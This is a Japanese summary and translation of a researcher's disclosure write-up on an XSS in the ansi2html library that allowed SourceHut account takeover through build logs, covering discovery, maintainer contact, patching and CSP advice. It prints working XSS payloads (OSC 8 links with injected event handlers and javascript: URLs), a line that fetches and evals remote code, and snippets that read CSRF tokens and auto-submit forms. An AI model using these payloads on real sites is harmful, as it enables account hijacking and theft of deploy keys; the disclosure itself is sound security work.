HN 日本語サマリー

← 一覧へ戻る
セキュリティ

Sourcehutアカウント乗っ取り:ビルドログ経由のXSS(ansi2htmlにおける脆弱性)

Sourcehut account takeover via build logs (XSS in ansi2html) (blog.arusekk.pl)

44 pointsby arusekk4 コメント

要約

SourceHutのビルドログ表示機能におけるクロスサイトスクリプティング(XSS)の脆弱性が発見されました。これは、ANSIエスケープシーケンスをHTMLに変換する`ansi2html`ライブラリが、悪意のあるリンクや属性を適切にサニタイズしないために発生します。この脆弱性を悪用すると、攻撃者はビルドログを閲覧したユーザーのブラウザ上で任意のコードを実行し、アカウントの乗っ取りや機密情報へのアクセスが可能になります。

全文翻訳

これは私の最初の大きな影響力のある脆弱性報告です!良い物語が好きなので、まず背景から説明させてください。最近、「素晴らしい」(わかっています、わかっています、やめるべきですね)アイデアを思いつきました。それは、プロジェクトをホストした人に報酬を支払うsr.htインスタンスをセットアップすることです。もし試したい、またはソーシャルメディアで私を炎上させたい場合は、タイムラインセクションで恥ずかしげもなく宣伝されていますので、ご覧ください。とにかく、物語です。最初のステップは、sr.htリポジトリの最小限のサブセットをクローンし、ハッキングを開始することでした。NLPなし# 今年から私の脆弱性リサーチ提出物には、常に以下の声明を含めるようにしています。それをどのように解釈するかはあなた次第です。このリサーチではNLPは一切使用していません。間違いはすべて私にあります。構造# SourceHutはいくつかのマイクロサービスで構成されており、主なものはmeta.sr.ht、おそらくgit.sr.htまたはhub.sr.ht(フラッグシップインスタンスは単にsr.htでホストされています)です。そしてもちろんbuilds.sr.ht、CIです。あまり知られていないものにmirror.sr.ht(徐々にmirror.srht.networkに移行中)があり、さまざまなマイクロサービス用のプリビルドパッケージが含まれています。このアプローチは気に入っています。なぜなら、フラッグシップインスタンスのディストリビューションバージョンとまったく同じマシンで非常に簡単に開始できるからです。もしあなたの好きなプロジェクトが現在、curl|sudo bash経由のインストールや「このフォルダでClaudeを起動するだけ」(笑)を推奨しているなら、エンドユーザーに実際のソフトウェアパッケージを使用してソフトウェアを配布するという、それほど無効ではない選択肢についても、ぜひ意識してみてください。1 Alpineパッケージのビルド# そのため、別のディストリビューション、あるいはAlpineの別のバージョンを使用している場合は、少し自分で対処する必要があります。そこで、sr.ht-apkbuildsリポジトリがあり、それを「フォーク」して、自分の署名キー、Alpineバージョン、ミラーを使用できます。Arch用のsr.ht-pkgbuildsもありますが、これは実質的にメンテナンスされていません。2これには、パッケージをブートストラップするためにbuilds.sr.htを使用することが含まれます。ビルドログのページソースを見ていたのですが、スクロールが意図した場所で止まらず、少しイライラしたので、それを直そうと思いました。そこで見つけたのがこれです:/* ... */ .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } /* ... */ これがどのように行われているか詳しく見て、おそらく修正しようと思いました。SourceHutは好きです。ここにはかなりの無駄な計算能力と帯域幅があるのを見ることができます。他の人も追随できるように、彼らが豊かになることを願っています。そして、それを遅らせる不必要な無駄があります。3 ansi2html# ANSIエスケープコードをHTMLに変換するロジックを見て、そのための問題を提出しました。その時点でリポジトリには1年以上の活動がありませんでした。そのため、自分で良いパッチを受け取るのが好きなので、自分で取り組むことにしました。これはすぐに、この特定の問題を修正するPRの提出につながりました。私のCapture The Flagの経験から、私はansi2htmlをさらに詳しく調べるようになり、さらに多くのバグを探しました(特に自分でホストしようとしているので!)。色を解析するエスケープシーケンスに加えて、自動リンクやOSC 8ハイパーリンクも可能です。コードはまだあまり構造化されていないため、この素晴らしいXSSチートシート(今は私のブックマークに永遠に保存されています)を読んだ後、悪意のある入力文字列を作成することができました:$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a> [...] $ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="javascript:alert`xss`">Nothing to see here</a> [...] 前者には説明が必要です。なぜかはわかりませんが、確認できるとおり、これは次と同じDOMツリーに解析されます:<a href="https://example.com/" autofocus tabindex="1" onfocus="alert`xss`"> Nothing to see here </a> したがって、もしビルドジョブのログに␛]8;;https://example.com/"/...␇を表示させることができるなら—4これは、アカウントを持っていなくても、継続的インテグレーションが有効になっている公開メーリングリストにパッチを送信するか、ログに印刷される可能性のある任意のリモートリソースを制御することによって可能です—おめでとうございます。あなたはちょうど、それを表示するすべてのブラウザでペイロードを実行するビルドジョブをhttps://builds.sr.ht/~someone-else/job/1234567で作成しました。自分でジョブを送信することもできますが、フラッグシップインスタンスの有料アカウントが必要です。そして現在、そこには匿名支払いオプションはありません。武器化(自宅で試さないでください)# 実際のペイロードは、eval(await (await fetch('https://example.com')).text())のような攻撃者のウェブサイトからダウンロードできますが、それが何をする可能性があるかについての推測を以下に示します。ビルドログページにはすでにCSRFトークンが含まれています。例えば、document.querySelector('[name=_csrf_token]').valueで読み取ることができます。または、既存のフォーム(「Resubmit build」ボタンの一部)を使用することもできます。document.querySelector('[name=manifest]').value=`something`;document.forms[0].submit()。管理者に表示させると、おそらく自分自身に管理者権限を付与できます。より悪い影響は、すべてのデプロイキーにアクセスできることです。そしてbuilds.sr.htでは、sr.ht自体のデプロイキーがあります(他のインスタンスではおそらくそうではありません)。この部分をペイロードにするのは、好奇心旺盛な読者の演習とします。防御を重ねることの重要性はいくら強調してもしすぎることはありません。自分のインフラストラクチャでのみワームをテストすることを忘れないでください。そして、決して本番環境ではテストしないでください。たとえそれがあなたの本番環境であっても。ここで防御を重ねるにはどうすればよいか?# Content-Security-Policyを制限することです。私はこの分野の専門家ではありませんが、「unsafe-inline」を削除することは良い第一歩でしょう(それ自体は有用なアドバイスではありません。なぜなら、ビルドログページ自体でもスクロールのためにインラインスクリプトが現在使用されているからです)。追加のサニタイズ(SourceHutは追加しましたが、過剰です—今では色はまったく表示されません!)と、ansi2htmlのコードをステートフルなトランスデューサーオートマトン的なものに再構築することです。連絡先# 私はすぐに~sircmpwn/sr.ht-security@lists.sr.htにメールを送り、問題全体を説明し、少なくとも最悪の部分を軽減する修正を含めました。Drew(Drewと呼んでもいいですか?Sourceの兄弟全員だと思います)は、builds.sr.htをパッチして、ansi2htmlからの出力を自動的にサニタイズするようにしました。これも良い選択です。アップストリーム# それからアップストリームに連絡しました(おそらく少し遅すぎましたか?正確なタイムラインは以下)。Ansi2htmlは、Randall Munroeによる有名で、今では死ぬほど叩かれたコミックストリップで紹介されているプロジェクトの1つです。5GitHubのpycontribs orgの下に置かれており、そこには不吉にも次のように書かれています:「PyContribsの主な目的は、さまざまなPython関連プロジェクトが維持され続けることを保証することです。」私は過去5年ほどのコントリビュータグラフのトップ2人に、Git履歴からのメールで連絡しました。問題がまだ公開される前に、SourceHutのアナウンスによってすでに公開されていましたが。私が「メイン」のメンテナーだと信じていた人(Sorin Sbarnea)は、今日まで返信がありません(おそらく休暇中かもしれません)。しかし、もう一人(Sebastian Pipping)は返信しました。そしてメッセージは、私には珍しい、暗号めいた「2週間後にメールして」というものでした。そこで私は忍耐強く2週間待ち、別の nascent business(試してみてもいいですか?)をこなしました。そしてメールを送りました。アップストリームを助ける# Sebastian(Sebastianと呼んでもいいですか?)はクールなやつで、リポジトリのACLに関して何か手助けが必要だと気づきました。私たちは、ansi2htmlを停止状態から復帰させ、いくつかの古いスクリプトを更新し、一緒にansi2htmlの3〜4バージョンをPyPIにリリースしました。私は助けようとしましたが、私のPhD-in-spe(博士号取得予定)でいくつか問題があったため、いくらか遅延が生じました。CVEの申請# CVSSスコアリングは誤りであるというホットテイクから始めましょう:それは各製品ごとに個別に評価されるべきであり、単一のスコアであってはならないのです。